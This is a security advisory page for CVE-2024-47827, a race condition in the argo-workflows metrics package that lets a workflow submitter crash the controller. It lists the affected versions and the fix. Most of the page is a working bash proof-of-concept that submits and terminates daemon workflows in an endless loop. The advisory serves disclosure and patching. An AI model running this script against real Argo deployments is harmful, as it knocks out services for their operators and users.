Race Condition Affecting github.com/argoproj/argo-workflows/workflow/metrics package, versions >=3.6.0-rc1 <3.6.0-rc2
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (6th
percentile)
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Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMARGOPROJARGOWORKFLOWSWORKFLOWMETRICS-8309367
- published 28 Oct 2024
- disclosed 28 Oct 2024
- credit Andrew Melnick
Introduced: 28 Oct 2024
New CVE-2024-47827 Open this link in a new tabHow to fix?
Upgrade github.com/argoproj/argo-workflows/workflow/metrics to version 3.6.0-rc2 or higher.
Overview
Affected versions of this package are vulnerable to Race Condition via the global variable metrics_k8s_request when a second request is made before the first completes. An attacker can cause the system to crash by executing a workflow.
PoC
#!/bin/bash -xeu
while true ; do
name=$(
{ argo submit /dev/stdin <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: curl-
spec:
entrypoint: main
templates:
- name: main
dag:
tasks:
- name: no-op
template: no-op
withSequence:
count: 3
- name: no-op
daemon: true
container:
image: alpine:3.13
command: [sleep, infinity]
EOF
} | head -n1 | awk '{ print $2 }'
)
( sleep 30; argo terminate $name ) &
sleep 15
done